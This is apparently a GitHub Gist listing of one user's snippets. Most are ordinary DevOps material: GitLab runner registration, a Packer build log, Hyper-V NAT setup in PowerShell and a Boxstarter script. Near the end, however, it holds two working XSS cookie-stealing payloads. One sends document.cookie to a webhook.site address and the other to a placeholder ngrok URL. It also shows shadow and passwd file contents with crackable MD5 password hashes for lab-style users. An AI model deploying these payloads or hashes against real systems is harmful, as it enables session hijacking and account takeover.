Skip to content

Instantly share code, notes, and snippets.

.\gitlab-runner.exe register --non-interactive --url 'https://gitlab.com' --registration-token '' --description 'Transient Windows machine used to build Hyper-V images.' --executor 'shell' --tag-list 'hyperv,windows' --locked=false
.\gitlab-runner.exe install
.\gitlab-runner.exe start
@Peleke
Peleke / Packer Logs
Created November 5, 2019 17:29
Log output from successful Packer build leading to failed upload to Vagrant Cloud.
+ /usr/local/bin/packer build -debug UbuntuVM/packer/UbuntuVM.json
2019/11/05 16:36:43 [INFO] Packer version: 1.4.4
2019/11/05 16:36:43 Packer Target OS/Arch: linux amd64
2019/11/05 16:36:43 Built with Go Version: go1.13
2019/11/05 16:36:43 Detected home directory from env var: /var/lib/jenkins
2019/11/05 16:36:43 Using internal plugin for openstack
2019/11/05 16:36:43 Using internal plugin for vmware-iso
2019/11/05 16:36:43 Using internal plugin for amazon-ebsvolume
2019/11/05 16:36:43 Using internal plugin for jdcloud
2019/11/05 16:36:43 Using internal plugin for lxc
# Create/Configure Internal NAT
$Name = "InternalNAT"
$IPAddress = 192.168.0.1
$PrefixLength = 24
$ifIndex = (Get-NetAdapter | Where-Object {$_.Name -like "*InternalNat*" }).ifIndex
New-VMSwitch -Name $Name -SwitchType Internal
New-NetIPAddress -IPAddress $IPAddress -PrefixLength $PrefixLength -InterfaceIndex $ifIndex
New-NetNat -Name $Name -InternalIPInterfaceAddressPrefix 192.168.0.0/$PrefixLength
@Peleke
Peleke / Windows Datacenter 2019 Boxstarter
Last active October 15, 2019 05:19
Boxstarter for Windows Datacenter 2019.
# Start w/ Windows Update
Enable-UAC
Enable-MicrosoftUpdate
Install-WindowsUpdate -AcceptEula
# Disable Update/UAC while Configuring
Disable-MicrosoftUpdate
Disable-UAC
# Basic System Configurations
<?php
$html = <<<EOF
<script>
document.write('<img src="https://webhook.site/9f73f8ac-074d-4a9f-8766-d2807b94b3ad?cookie='+(document.cookie||"none")+'" />');
</script>
EOF;
echo $html;
?>
<h1>Hello, world.</h1>
<?php
$html = <<<EOT
<h1>Hello, world.</h1>
EOT;
echo $html;
?>
@Peleke
Peleke / shadow
Created November 16, 2018 00:04
shadow
clark:$1$vCQJuDA5$LMfNnEfUOWqGlsw.oZwvU/:17739:0:99999:7:::
barry:$1$9/41ELaR$s5x1MSIHQ8Ci1w.Xi2Q9y0:17739:0:99999:7:::
bruce:$1$k1Dn6mHP$02qi2NpmPbm.g/UJ5hUL5/:17739:0:99999:7:::
wonderwoman:$1$ePQswNon$zfhmpFHe/Hsqh.J8z9mkF.:17739:0:99999:7:::
@Peleke
Peleke / passwd
Created November 16, 2018 00:03
passwd
clark:x:1003:1003:,,,:/home/clark:/bin/bash
barry:x:1004:1004:,,,:/home/barry:/bin/bash
bruce:x:1005:1005:,,,:/home/bruce:/bin/bash
wonderwoman:x:1006:1006:,,,:/home/wonderwoman:/bin/bash
<script>
document.write('<img src="[YOUR Ngrok URL]?c='+document.cookie+'" />');
</script>